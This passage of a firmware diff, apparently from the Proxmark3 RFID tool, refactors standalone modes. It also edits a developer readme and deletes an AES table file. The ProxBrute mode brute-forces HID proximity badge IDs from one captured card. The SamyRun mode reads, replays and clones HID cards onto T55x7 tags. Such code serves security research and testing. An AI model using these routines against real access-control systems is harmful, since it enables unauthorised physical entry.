usbcommand. if (data_available()) break; // Was our button held down or pressed? - int button_pressed = BUTTON_HELD(1000); - SpinDelay(300); + int button_pressed = BUTTON_HELD(280); + if (button_pressed != BUTTON_HOLD) + continue; // Button was held for a second, begin recording - if (button_pressed > 0 && cardRead == 0) { - LEDsoff(); - LED(selected + 1, 0); - LED(LED_D, 0); + if (state == STATE_READ) { + + LEDsoff(); + LED_A_ON(); + WAIT_BUTTON_RELEASED(); - // record DbpString("[=] starting recording"); - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - /* need this delay to prevent catching some weird data */ - SpinDelay(500); + // findone, high, low, no ledcontrol (A) + CmdHIDdemodFSK(1, &high, &low, 0); - CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); - Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]); + Dbprintf("[=] recorded | %x%08x", high, low); - LEDsoff(); - LED(selected + 1, 0); - // Finished recording - // If we were previously playing, set playing off - // so next button push begins playing what we recorded - playing = 0; - cardRead = 1; - } else if (button_pressed > 0 && cardRead == 1) { - LEDsoff(); - LED(selected + 1, 0); - LED(LED_A, 0); - - // record - Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]); - - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - /* need this delay to prevent catching some weird data */ - SpinDelay(500); - - CopyHIDtoT55x7(0, high[selected], low[selected], 0); - Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]); - - LEDsoff(); - LED(selected + 1, 0); - // Finished recording - - // If we were previously playing, set playing off - // so next button push begins playing what we recorded - playing = 0; - cardRead = 0; - } - - // Change where to record (or begin playing) - else if (button_pressed) { - // Next option if we were previously playing - if (playing) - selected = (selected + 1) % OPTS; - playing = !playing; - - LEDsoff(); - LED(selected + 1, 0); - - // Begin transmitting - if (playing) { - LED(LED_B, 0); - DbpString("[=] playing"); - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - /* START PROXBRUTE */ - - /* - ProxBrute - brad a. - foundstone - - Following code is a trivial brute forcer once you read a valid tag - the idea is you get a valid tag, then just try and brute force to - another priv level. The problem is that it has no idea if the code - worked or not, so its a crap shoot. One option is to time how long - it takes to get a valid ID then start from scratch every time. - */ - if (selected == 1) { - DbpString("[=] entering ProxBrute Mode"); - Dbprintf("[=] current Tag: Selected = %x Facility = %08x ID = %08x", selected, high[selected], low[selected]); - LED(LED_A, 0); - LED(LED_C, 0); - for (uint16_t i = low[selected] - 1; i > 0; i--) { - if (BUTTON_PRESS()) { - DbpString("[-] told to stop"); - break; - } - - Dbprintf("[=] trying Facility = %08x ID %08x", high[selected], i); - CmdHIDsimTAGEx(high[selected], i, 0, 20000); - SpinDelay(500); - } - - } else { - DbpString("[=] RED is lit, not entering ProxBrute Mode"); - Dbprintf("[=] %x %x %x", selected, high[selected], low[selected]); - CmdHIDsimTAGEx(high[selected], low[selected], 0, 20000); - DbpString("[=] done playing"); - } - - /* END PROXBRUTE */ - - - if (BUTTON_HELD(1000) > 0) - goto out; - - /* We pressed a button so ignore it here with a delay */ - SpinDelay(300); - - // when done, we're done playing, move to next option - selected = (selected + 1) % OPTS; - playing = !playing; - LEDsoff(); - LED(selected + 1, 0); - } else { - while (BUTTON_PRESS()) - WDT_HIT(); + // got nothing. blink and loop. + if (high == 0 && low == 0) { + SpinErr(LED_A, 100, 12); + DbpString("[=] only got zeros, retry recording after click"); + continue; } + + SpinErr(LED_A, 250, 2); + state = STATE_BRUTE; + continue; + + } else if (state == STATE_BRUTE) { + + LED_C_ON(); // Simulate + WAIT_BUTTON_RELEASED(); + + + /* + ProxBrute - brad a. - foundstone + + Following code is a trivial brute forcer once you read a valid tag + the idea is you get a valid tag, then just try and brute force to + another priv level. The problem is that it has no idea if the code + worked or not, so its a crap shoot. One option is to time how long + it takes to get a valid ID then start from scratch every time. + */ + DbpString("[=] entering ProxBrute mode"); + Dbprintf("[=] simulating | %08x%08x", high, low); + + for (uint16_t i = low - 1; i > 0; i--) { + + if (data_available()) break; + + // Was our button held down or pressed? + button_pressed = BUTTON_HELD(280); + if (button_pressed != BUTTON_HOLD) break; + + Dbprintf("[=] trying Facility = %08x ID %08x", high, i); + + // high, i, ledcontrol, timelimit 20000 + CmdHIDsimTAGEx(0, high, i, 0, false, 20000); + + SpinDelay(100); + } + + state = STATE_READ; + SpinErr((LED_A | LED_C), 250, 2); + LEDsoff(); } } -out: - DbpString("[=] exiting"); + + SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5); + DbpString("[=] You can take the shell back :) ..."); LEDsoff(); } diff --git a/armsrc/Standalone/lf_samyrun.c b/armsrc/Standalone/lf_samyrun.c index 03c2ddd12..4dc45b0b3 100644 --- a/armsrc/Standalone/lf_samyrun.c +++ b/armsrc/Standalone/lf_samyrun.c @@ -8,138 +8,137 @@ //----------------------------------------------------------------------------- // main code for LF aka SamyRun by Samy Kamkar //----------------------------------------------------------------------------- -#include "lf_samyrun.h" +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "lfops.h" +#include "util.h" +#include "dbprint.h" +#include "ticks.h" + +#define OPTS 2 void ModInfo(void) { - DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)"); + DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)"); } // samy's sniff and repeat routine for LF + +// LEDS. +// A , B == which bank (recording) +// FLASHING A, B = clone bank +// C = playing bank A +// D = playing bank B + void RunMod() { StandAloneMode(); - Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<"); FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + Dbprintf(">> LF HID Read/Clone/Sim a.k.a SamyRun Started <<"); uint32_t high[OPTS], low[OPTS]; int selected = 0; - int playing = 0; - int cardRead = 0; - bool gotCard; - // Turn on selected LED - LED(selected + 1, 0); + +#define STATE_READ 0 +#define STATE_SIM 1 +#define STATE_CLONE 2 + + uint8_t state = STATE_READ; for (;;) { + WDT_HIT(); // exit from SamyRun, send a usbcommand. if (data_available()) break; // Was our button held down or pressed? - int button_pressed = BUTTON_HELD(1000); + int button_pressed = BUTTON_HELD(280); + if (button_pressed != BUTTON_HOLD) + continue; + /* + #define BUTTON_NO_CLICK 0 + #define BUTTON_SINGLE_CLICK -1 + #define BUTTON_DOUBLE_CLICK -2 + */ - Dbprintf("button %d", button_pressed); - SpinDelay(300); + if (state == STATE_READ) { - // Button was held for a second, begin recording - if (button_pressed > 0 && cardRead == 0) { - LEDsoff(); - LED(selected + 1, 0); - LED(LED_D, 0); - - // record - DbpString("[=] starting recording"); - - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - /* need this delay to prevent catching some weird data */ - SpinDelay(500); - - CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); - Dbprintf("[=] recorded bank %x | %x %08x", selected, high[selected], low[selected]); - - LEDsoff(); - LED(selected + 1, 0); - // Finished recording - // If we were previously playing, set playing off - // so next button push begins playing what we recorded - playing = 0; - cardRead = 1; - - gotCard = true; - } else if (button_pressed > 0 && cardRead == 1) { - LEDsoff(); - LED(selected + 1, 0); - LED(LED_A, 0); - - // record - Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]); - - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - /* need this delay to prevent catching some weird data */ - SpinDelay(500); - - CopyHIDtoT55x7(0, high[selected], low[selected], 0); - Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]); - - LEDsoff(); - LED(selected + 1, 0); - // Finished recording - - // If we were previously playing, set playing off - // so next button push begins playing what we recorded - playing = 0; - cardRead = 0; - } - - // Change where to record (or begin playing) - else if (button_pressed && gotCard) { - // Next option if we were previously playing - if (playing) - selected = (selected + 1) % OPTS; - - playing = !playing; - - LEDsoff(); - LED(selected + 1, 0); - - // Begin transmitting - if (playing) { - - LED(LED_B, 0); - DbpString("[=] playing"); - - // wait for button to be released - while (BUTTON_PRESS()) - WDT_HIT(); - - Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]); - CmdHIDsimTAG(high[selected], low[selected], false); - DbpString("[=] done playing"); - - if (BUTTON_HELD(1000) > 0) - goto out; - - /* We pressed a button so ignore it here with a delay */ - SpinDelay(300); - - // when done, we're done playing, move to next option - selected = (selected + 1) % OPTS; - playing = !playing; - LEDsoff(); - LED(selected + 1, 0); + if (selected == 0) { + LED_A_ON(); + LED_B_OFF(); } else { - while (BUTTON_PRESS()) - WDT_HIT(); + LED_B_ON(); + LED_A_OFF(); } + + LED_C_OFF(); + LED_D_OFF(); + + WAIT_BUTTON_RELEASED(); + + // record + DbpString("[=] start recording"); + + // findone, high, low, no ledcontrol (A) + uint32_t hi = 0, lo = 0; + CmdHIDdemodFSK(1, &hi, &lo, 0); + high[selected] = hi; + low[selected] = lo; + + Dbprintf("[=] recorded %x | %x%08x", selected, high[selected], low[selected]); + + // got nothing. blink and loop. + if (hi == 0 && lo == 0) { + SpinErr((selected == 0) ? LED_A : LED_B, 100, 12); + DbpString("[=] only got zeros, retry recording after click"); + continue; + } + + SpinErr((selected == 0) ? LED_A : LED_B, 250, 2); + state = STATE_SIM; + continue; + + } else if (state == STATE_SIM) { + + LED_C_ON(); // Simulate + LED_D_OFF(); + WAIT_BUTTON_RELEASED(); + + Dbprintf("[=] simulating %x | %x%08x", selected, high[selected], low[selected]); + + // high, low, no led control(A) no time limit + CmdHIDsimTAGEx(0, high[selected], low[selected], 0, false, -1); + + DbpString("[=] simulating done"); + + uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_C; + SpinErr(leds, 250, 2); + state = STATE_CLONE; + continue; + + } else if (state == STATE_CLONE) { + + LED_C_OFF(); + LED_D_ON(); // clone + WAIT_BUTTON_RELEASED(); + + Dbprintf("[=] cloning %x | %x%08x", selected, high[selected], low[selected]); + + // high2, high, low, no longFMT + CopyHIDtoT55x7(0, high[selected], low[selected], 0); + + DbpString("[=] cloned done"); + + state = STATE_READ; + uint8_t leds = ((selected == 0) ? LED_A : LED_B) | LED_D; + SpinErr(leds, 250, 2); + selected = (selected + 1) % OPTS; + LEDsoff(); } } -out: - DbpString("[=] exiting"); + SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5); + DbpString("[=] You can take shell back :) ..."); LEDsoff(); } diff --git a/armsrc/Standalone/placeholder.c b/armsrc/Standalone/placeholder.c index e179bc876..84f724920 100644 --- a/armsrc/Standalone/placeholder.c +++ b/armsrc/Standalone/placeholder.c @@ -1,8 +1,9 @@ #include "standalone.h" // standalone definitions -#include "apps.h" // debug statements + +#include "dbprint.h" void ModInfo(void) { - DbpString(" No standalone mode present"); + DbpString(" No standalone mode present"); } void RunMod() { diff --git a/armsrc/Standalone/readme.md b/armsrc/Standalone/readme.md index 491490b1b..9b9d45688 100644 --- a/armsrc/Standalone/readme.md +++ b/armsrc/Standalone/readme.md @@ -1,6 +1,6 @@ # Standalone Modes -This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `armsrc/Makefile` and `common/Makefile.hal` +This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `Makefile.inc` and `Makefile.hal` If you want to implement a new standalone mode, you need to implement the methods provided in `standalone.h`. Have a look at the skeleton standalone mode called IceRun, in the files `lf_icerun.c lf_icerun.h`. @@ -19,7 +19,7 @@ The RunMod function, which is your "main" function when running. You need to ch ```` void ModInfo(void) { - DbpString(" LF good description of your mode - aka FooRun (your name)"); + DbpString(" LF good description of your mode - aka FooRun (your name)"); } void RunMod(void) { @@ -40,8 +40,6 @@ void RunMod(void) { } ```` -Each standalone mode needs to have its own compiler flag to be added in `armsrc/Makefile`. - ## Naming your standalone mode We suggest that you follow these guidelines: @@ -58,9 +56,9 @@ This leads to your next step, your DEFINE name needed in Makefile. `WITH_STANDALONE_LF_FOO` -## Update COMMON/MAKEFILE.HAL +## Update MAKEFILE.HAL -Add your mode to the `common/Makefile.hal` help and modes list: +Add your mode to the `Makefile.hal` help and modes list: ``` +==========================================================+ | STANDALONE | DESCRIPTION | @@ -74,13 +72,20 @@ STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_FOO STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG ``` -## Update ARMSRC/MAKEFILE -Add your source code files like the following sample in the `armsrc/Makefile` +If your mode is using one of the unique features of the RDV4, add it to the proper list: + +``` +STANDALONE_MODES_REQ_SMARTCARD := +STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG +``` + +## Update MAKEFILE.INC +Add your source code files like the following sample in the `Makefile.inc` ``` # WITH_STANDALONE_LF_ICERUN ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS))) - SRC_STANDALONE = lf_icerun.c + SRC_STANDALONE = lf_icerun.c endif # WITH_STANDALONE_LF_FOO @@ -95,12 +100,12 @@ This will enable an easy way to detect on client side which standalone mode has ```` void ModInfo(void) { - DbpString(" LF good description of your mode - aka FooRun (your name)"); + DbpString(" LF good description of your mode - aka FooRun (your name)"); } ```` ## Compiling your standalone mode -Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `common/Makefile.hal` or ) , e.g.: +Once all this is done, you and others can now easily compile different standalone modes by just selecting one of the standalone modes (list in `Makefile.hal` or ) , e.g.: - rename Makefile.platform.sample -> Makefile.platform - edit the "STANDALONE" row inside Makefile.platform. You need to uncomment it and add your standalone mode name diff --git a/armsrc/Standalone/standalone.h b/armsrc/Standalone/standalone.h index 217c7b4cf..2dd35e94a 100644 --- a/armsrc/Standalone/standalone.h +++ b/armsrc/Standalone/standalone.h @@ -11,9 +11,6 @@ #ifndef __STANDALONE_H #define __STANDALONE_H -#include // for bool -#include // PRIu64 - void RunMod(); void ModInfo(); diff --git a/armsrc/aes.c b/armsrc/aes.c deleted file mode 100644 index f8a36f28c..000000000 --- a/armsrc/aes.c +++ /dev/null @@ -1,1170 +0,0 @@ -#include "aes.h" - -static const unsigned int Te0[256] = { - 0xc66363a5UL, 0xf87c7c84UL, 0xee777799UL, 0xf67b7b8dUL, - 0xfff2f20dUL, 0xd66b6bbdUL, 0xde6f6fb1UL, 0x91c5c554UL, - 0x60303050UL, 0x02010103UL, 0xce6767a9UL, 0x562b2b7dUL, - 0xe7fefe19UL, 0xb5d7d762UL, 0x4dababe6UL, 0xec76769aUL, - 0x8fcaca45UL, 0x1f82829dUL, 0x89c9c940UL, 0xfa7d7d87UL, - 0xeffafa15UL, 0xb25959ebUL, 0x8e4747c9UL, 0xfbf0f00bUL, - 0x41adadecUL, 0xb3d4d467UL, 0x5fa2a2fdUL, 0x45afafeaUL, - 0x239c9cbfUL, 0x53a4a4f7UL, 0xe4727296UL, 0x9bc0c05bUL, - 0x75b7b7c2UL, 0xe1fdfd1cUL, 0x3d9393aeUL, 0x4c26266aUL, - 0x6c36365aUL, 0x7e3f3f41UL, 0xf5f7f702UL, 0x83cccc4fUL, - 0x6834345cUL, 0x51a5a5f4UL, 0xd1e5e534UL, 0xf9f1f108UL, - 0xe2717193UL, 0xabd8d873UL, 0x62313153UL, 0x2a15153fUL, - 0x0804040cUL, 0x95c7c752UL, 0x46232365UL, 0x9dc3c35eUL, - 0x30181828UL, 0x379696a1UL, 0x0a05050fUL, 0x2f9a9ab5UL, - 0x0e070709UL, 0x24121236UL, 0x1b80809bUL, 0xdfe2e23dUL, - 0xcdebeb26UL, 0x4e272769UL, 0x7fb2b2cdUL, 0xea75759fUL, - 0x1209091bUL, 0x1d83839eUL, 0x582c2c74UL, 0x341a1a2eUL, - 0x361b1b2dUL, 0xdc6e6eb2UL, 0xb45a5aeeUL, 0x5ba0a0fbUL, - 0xa45252f6UL, 0x763b3b4dUL, 0xb7d6d661UL, 0x7db3b3ceUL, - 0x5229297bUL, 0xdde3e33eUL, 0x5e2f2f71UL, 0x13848497UL, - 0xa65353f5UL, 0xb9d1d168UL, 0x00000000UL, 0xc1eded2cUL, - 0x40202060UL, 0xe3fcfc1fUL, 0x79b1b1c8UL, 0xb65b5bedUL, - 0xd46a6abeUL, 0x8dcbcb46UL, 0x67bebed9UL, 0x7239394bUL, - 0x944a4adeUL, 0x984c4cd4UL, 0xb05858e8UL, 0x85cfcf4aUL, - 0xbbd0d06bUL, 0xc5efef2aUL, 0x4faaaae5UL, 0xedfbfb16UL, - 0x864343c5UL, 0x9a4d4dd7UL, 0x66333355UL, 0x11858594UL, - 0x8a4545cfUL, 0xe9f9f910UL, 0x04020206UL, 0xfe7f7f81UL, - 0xa05050f0UL, 0x783c3c44UL, 0x259f9fbaUL, 0x4ba8a8e3UL, - 0xa25151f3UL, 0x5da3a3feUL, 0x804040c0UL, 0x058f8f8aUL, - 0x3f9292adUL, 0x219d9dbcUL, 0x70383848UL, 0xf1f5f504UL, - 0x63bcbcdfUL, 0x77b6b6c1UL, 0xafdada75UL, 0x42212163UL, - 0x20101030UL, 0xe5ffff1aUL, 0xfdf3f30eUL, 0xbfd2d26dUL, - 0x81cdcd4cUL, 0x180c0c14UL, 0x26131335UL, 0xc3ecec2fUL, - 0xbe5f5fe1UL, 0x359797a2UL, 0x884444ccUL, 0x2e171739UL, - 0x93c4c457UL, 0x55a7a7f2UL, 0xfc7e7e82UL, 0x7a3d3d47UL, - 0xc86464acUL, 0xba5d5de7UL, 0x3219192bUL, 0xe6737395UL, - 0xc06060a0UL, 0x19818198UL, 0x9e4f4fd1UL, 0xa3dcdc7fUL, - 0x44222266UL, 0x542a2a7eUL, 0x3b9090abUL, 0x0b888883UL, - 0x8c4646caUL, 0xc7eeee29UL, 0x6bb8b8d3UL, 0x2814143cUL, - 0xa7dede79UL, 0xbc5e5ee2UL, 0x160b0b1dUL, 0xaddbdb76UL, - 0xdbe0e03bUL, 0x64323256UL, 0x743a3a4eUL, 0x140a0a1eUL, - 0x924949dbUL, 0x0c06060aUL, 0x4824246cUL, 0xb85c5ce4UL, - 0x9fc2c25dUL, 0xbdd3d36eUL, 0x43acacefUL, 0xc46262a6UL, - 0x399191a8UL, 0x319595a4UL, 0xd3e4e437UL, 0xf279798bUL, - 0xd5e7e732UL, 0x8bc8c843UL, 0x6e373759UL, 0xda6d6db7UL, - 0x018d8d8cUL, 0xb1d5d564UL, 0x9c4e4ed2UL, 0x49a9a9e0UL, - 0xd86c6cb4UL, 0xac5656faUL, 0xf3f4f407UL, 0xcfeaea25UL, - 0xca6565afUL, 0xf47a7a8eUL, 0x47aeaee9UL, 0x10080818UL, - 0x6fbabad5UL, 0xf0787888UL, 0x4a25256fUL, 0x5c2e2e72UL, - 0x381c1c24UL, 0x57a6a6f1UL, 0x73b4b4c7UL, 0x97c6c651UL, - 0xcbe8e823UL, 0xa1dddd7cUL, 0xe874749cUL, 0x3e1f1f21UL, - 0x964b4bddUL, 0x61bdbddcUL, 0x0d8b8b86UL, 0x0f8a8a85UL, - 0xe0707090UL, 0x7c3e3e42UL, 0x71b5b5c4UL, 0xcc6666aaUL, - 0x904848d8UL, 0x06030305UL, 0xf7f6f601UL, 0x1c0e0e12UL, - 0xc26161a3UL, 0x6a35355fUL, 0xae5757f9UL, 0x69b9b9d0UL, - 0x17868691UL, 0x99c1c158UL, 0x3a1d1d27UL, 0x279e9eb9UL, - 0xd9e1e138UL, 0xebf8f813UL, 0x2b9898b3UL, 0x22111133UL, - 0xd26969bbUL, 0xa9d9d970UL, 0x078e8e89UL, 0x339494a7UL, - 0x2d9b9bb6UL, 0x3c1e1e22UL, 0x15878792UL, 0xc9e9e920UL, - 0x87cece49UL, 0xaa5555ffUL, 0x50282878UL, 0xa5dfdf7aUL, - 0x038c8c8fUL, 0x59a1a1f8UL, 0x09898980UL, 0x1a0d0d17UL, - 0x65bfbfdaUL, 0xd7e6e631UL, 0x844242c6UL, 0xd06868b8UL, - 0x824141c3UL, 0x299999b0UL, 0x5a2d2d77UL, 0x1e0f0f11UL, - 0x7bb0b0cbUL, 0xa85454fcUL, 0x6dbbbbd6UL, 0x2c16163aUL, -}; -static const unsigned int Te1[256] = { - 0xa5c66363UL, 0x84f87c7cUL, 0x99ee7777UL, 0x8df67b7bUL, - 0x0dfff2f2UL, 0xbdd66b6bUL, 0xb1de6f6fUL, 0x5491c5c5UL, - 0x50603030UL, 0x03020101UL, 0xa9ce6767UL, 0x7d562b2bUL, - 0x19e7fefeUL, 0x62b5d7d7UL, 0xe64dababUL, 0x9aec7676UL, - 0x458fcacaUL, 0x9d1f8282UL, 0x4089c9c9UL, 0x87fa7d7dUL, - 0x15effafaUL, 0xebb25959UL, 0xc98e4747UL, 0x0bfbf0f0UL, - 0xec41adadUL, 0x67b3d4d4UL, 0xfd5fa2a2UL, 0xea45afafUL, - 0xbf239c9cUL, 0xf753a4a4UL, 0x96e47272UL, 0x5b9bc0c0UL, - 0xc275b7b7UL, 0x1ce1fdfdUL, 0xae3d9393UL, 0x6a4c2626UL, - 0x5a6c3636UL, 0x417e3f3fUL, 0x02f5f7f7UL, 0x4f83ccccUL, - 0x5c683434UL, 0xf451a5a5UL, 0x34d1e5e5UL, 0x08f9f1f1UL, - 0x93e27171UL, 0x73abd8d8UL, 0x53623131UL, 0x3f2a1515UL, - 0x0c080404UL, 0x5295c7c7UL, 0x65462323UL, 0x5e9dc3c3UL, - 0x28301818UL, 0xa1379696UL, 0x0f0a0505UL, 0xb52f9a9aUL, - 0x090e0707UL, 0x36241212UL, 0x9b1b8080UL, 0x3ddfe2e2UL, - 0x26cdebebUL, 0x694e2727UL, 0xcd7fb2b2UL, 0x9fea7575UL, - 0x1b120909UL, 0x9e1d8383UL, 0x74582c2cUL, 0x2e341a1aUL, - 0x2d361b1bUL, 0xb2dc6e6eUL, 0xeeb45a5aUL, 0xfb5ba0a0UL, - 0xf6a45252UL, 0x4d763b3bUL, 0x61b7d6d6UL, 0xce7db3b3UL, - 0x7b522929UL, 0x3edde3e3UL, 0x715e2f2fUL, 0x97138484UL, - 0xf5a65353UL, 0x68b9d1d1UL, 0x00000000UL, 0x2cc1ededUL, - 0x60402020UL, 0x1fe3fcfcUL, 0xc879b1b1UL, 0xedb65b5bUL, - 0xbed46a6aUL, 0x468dcbcbUL, 0xd967bebeUL, 0x4b723939UL, - 0xde944a4aUL, 0xd4984c4cUL, 0xe8b05858UL, 0x4a85cfcfUL, - 0x6bbbd0d0UL, 0x2ac5efefUL, 0xe54faaaaUL, 0x16edfbfbUL, - 0xc5864343UL, 0xd79a4d4dUL, 0x55663333UL, 0x94118585UL, - 0xcf8a4545UL, 0x10e9f9f9UL, 0x06040202UL, 0x81fe7f7fUL, - 0xf0a05050UL, 0x44783c3cUL, 0xba259f9fUL, 0xe34ba8a8UL, - 0xf3a25151UL, 0xfe5da3a3UL, 0xc0804040UL, 0x8a058f8fUL, - 0xad3f9292UL, 0xbc219d9dUL, 0x48703838UL, 0x04f1f5f5UL, - 0xdf63bcbcUL, 0xc177b6b6UL, 0x75afdadaUL, 0x63422121UL, - 0x30201010UL, 0x1ae5ffffUL, 0x0efdf3f3UL, 0x6dbfd2d2UL, - 0x4c81cdcdUL, 0x14180c0cUL, 0x35261313UL, 0x2fc3ececUL, - 0xe1be5f5fUL, 0xa2359797UL, 0xcc884444UL, 0x392e1717UL, - 0x5793c4c4UL, 0xf255a7a7UL, 0x82fc7e7eUL, 0x477a3d3dUL, - 0xacc86464UL, 0xe7ba5d5dUL, 0x2b321919UL, 0x95e67373UL, - 0xa0c06060UL, 0x98198181UL, 0xd19e4f4fUL, 0x7fa3dcdcUL, - 0x66442222UL, 0x7e542a2aUL, 0xab3b9090UL, 0x830b8888UL, - 0xca8c4646UL, 0x29c7eeeeUL, 0xd36bb8b8UL, 0x3c281414UL, - 0x79a7dedeUL, 0xe2bc5e5eUL, 0x1d160b0bUL, 0x76addbdbUL, - 0x3bdbe0e0UL, 0x56643232UL, 0x4e743a3aUL, 0x1e140a0aUL, - 0xdb924949UL, 0x0a0c0606UL, 0x6c482424UL, 0xe4b85c5cUL, - 0x5d9fc2c2UL, 0x6ebdd3d3UL, 0xef43acacUL, 0xa6c46262UL, - 0xa8399191UL, 0xa4319595UL, 0x37d3e4e4UL, 0x8bf27979UL, - 0x32d5e7e7UL, 0x438bc8c8UL, 0x596e3737UL, 0xb7da6d6dUL, - 0x8c018d8dUL, 0x64b1d5d5UL, 0xd29c4e4eUL, 0xe049a9a9UL, - 0xb4d86c6cUL, 0xfaac5656UL, 0x07f3f4f4UL, 0x25cfeaeaUL, - 0xafca6565UL, 0x8ef47a7aUL, 0xe947aeaeUL, 0x18100808UL, - 0xd56fbabaUL, 0x88f07878UL, 0x6f4a2525UL, 0x725c2e2eUL, - 0x24381c1cUL, 0xf157a6a6UL, 0xc773b4b4UL, 0x5197c6c6UL, - 0x23cbe8e8UL, 0x7ca1ddddUL, 0x9ce87474UL, 0x213e1f1fUL, - 0xdd964b4bUL, 0xdc61bdbdUL, 0x860d8b8bUL, 0x850f8a8aUL, - 0x90e07070UL, 0x427c3e3eUL, 0xc471b5b5UL, 0xaacc6666UL, - 0xd8904848UL, 0x05060303UL, 0x01f7f6f6UL, 0x121c0e0eUL, - 0xa3c26161UL, 0x5f6a3535UL, 0xf9ae5757UL, 0xd069b9b9UL, - 0x91178686UL, 0x5899c1c1UL, 0x273a1d1dUL, 0xb9279e9eUL, - 0x38d9e1e1UL, 0x13ebf8f8UL, 0xb32b9898UL, 0x33221111UL, - 0xbbd26969UL, 0x70a9d9d9UL, 0x89078e8eUL, 0xa7339494UL, - 0xb62d9b9bUL, 0x223c1e1eUL, 0x92158787UL, 0x20c9e9e9UL, - 0x4987ceceUL, 0xffaa5555UL, 0x78502828UL, 0x7aa5dfdfUL, - 0x8f038c8cUL, 0xf859a1a1UL, 0x80098989UL, 0x171a0d0dUL, - 0xda65bfbfUL, 0x31d7e6e6UL, 0xc6844242UL, 0xb8d06868UL, - 0xc3824141UL, 0xb0299999UL, 0x775a2d2dUL, 0x111e0f0fUL, - 0xcb7bb0b0UL, 0xfca85454UL, 0xd66dbbbbUL, 0x3a2c1616UL, -}; -static const unsigned int Te2[256] = { - 0x63a5c663UL, 0x7c84f87cUL, 0x7799ee77UL, 0x7b8df67bUL, - 0xf20dfff2UL, 0x6bbdd66bUL, 0x6fb1de6fUL, 0xc55491c5UL, - 0x30506030UL, 0x01030201UL, 0x67a9ce67UL, 0x2b7d562bUL, - 0xfe19e7feUL, 0xd762b5d7UL, 0xabe64dabUL, 0x769aec76UL, - 0xca458fcaUL, 0x829d1f82UL, 0xc94089c9UL, 0x7d87fa7dUL, - 0xfa15effaUL, 0x59ebb259UL, 0x47c98e47UL, 0xf00bfbf0UL, - 0xadec41adUL, 0xd467b3d4UL, 0xa2fd5fa2UL, 0xafea45afUL, - 0x9cbf239cUL, 0xa4f753a4UL, 0x7296e472UL, 0xc05b9bc0UL, - 0xb7c275b7UL, 0xfd1ce1fdUL, 0x93ae3d93UL, 0x266a4c26UL, - 0x365a6c36UL, 0x3f417e3fUL, 0xf702f5f7UL, 0xcc4f83ccUL, - 0x345c6834UL, 0xa5f451a5UL, 0xe534d1e5UL, 0xf108f9f1UL, - 0x7193e271UL, 0xd873abd8UL, 0x31536231UL, 0x153f2a15UL, - 0x040c0804UL, 0xc75295c7UL, 0x23654623UL, 0xc35e9dc3UL, - 0x18283018UL, 0x96a13796UL, 0x050f0a05UL, 0x9ab52f9aUL, - 0x07090e07UL, 0x12362412UL, 0x809b1b80UL, 0xe23ddfe2UL, - 0xeb26cdebUL, 0x27694e27UL, 0xb2cd7fb2UL, 0x759fea75UL, - 0x091b1209UL, 0x839e1d83UL, 0x2c74582cUL, 0x1a2e341aUL, - 0x1b2d361bUL, 0x6eb2dc6eUL, 0x5aeeb45aUL, 0xa0fb5ba0UL, - 0x52f6a452UL, 0x3b4d763bUL, 0xd661b7d6UL, 0xb3ce7db3UL, - 0x297b5229UL, 0xe33edde3UL, 0x2f715e2fUL, 0x84971384UL, - 0x53f5a653UL, 0xd168b9d1UL, 0x00000000UL, 0xed2cc1edUL, - 0x20604020UL, 0xfc1fe3fcUL, 0xb1c879b1UL, 0x5bedb65bUL, - 0x6abed46aUL, 0xcb468dcbUL, 0xbed967beUL, 0x394b7239UL, - 0x4ade944aUL, 0x4cd4984cUL, 0x58e8b058UL, 0xcf4a85cfUL, - 0xd06bbbd0UL, 0xef2ac5efUL, 0xaae54faaUL, 0xfb16edfbUL, - 0x43c58643UL, 0x4dd79a4dUL, 0x33556633UL, 0x85941185UL, - 0x45cf8a45UL, 0xf910e9f9UL, 0x02060402UL, 0x7f81fe7fUL, - 0x50f0a050UL, 0x3c44783cUL, 0x9fba259fUL, 0xa8e34ba8UL, - 0x51f3a251UL, 0xa3fe5da3UL, 0x40c08040UL, 0x8f8a058fUL, - 0x92ad3f92UL, 0x9dbc219dUL, 0x38487038UL, 0xf504f1f5UL, - 0xbcdf63bcUL, 0xb6c177b6UL, 0xda75afdaUL, 0x21634221UL, - 0x10302010UL, 0xff1ae5ffUL, 0xf30efdf3UL, 0xd26dbfd2UL, - 0xcd4c81cdUL, 0x0c14180cUL, 0x13352613UL, 0xec2fc3ecUL, - 0x5fe1be5fUL, 0x97a23597UL, 0x44cc8844UL, 0x17392e17UL, - 0xc45793c4UL, 0xa7f255a7UL, 0x7e82fc7eUL, 0x3d477a3dUL, - 0x64acc864UL, 0x5de7ba5dUL, 0x192b3219UL, 0x7395e673UL, - 0x60a0c060UL, 0x81981981UL, 0x4fd19e4fUL, 0xdc7fa3dcUL, - 0x22664422UL, 0x2a7e542aUL, 0x90ab3b90UL, 0x88830b88UL, - 0x46ca8c46UL, 0xee29c7eeUL, 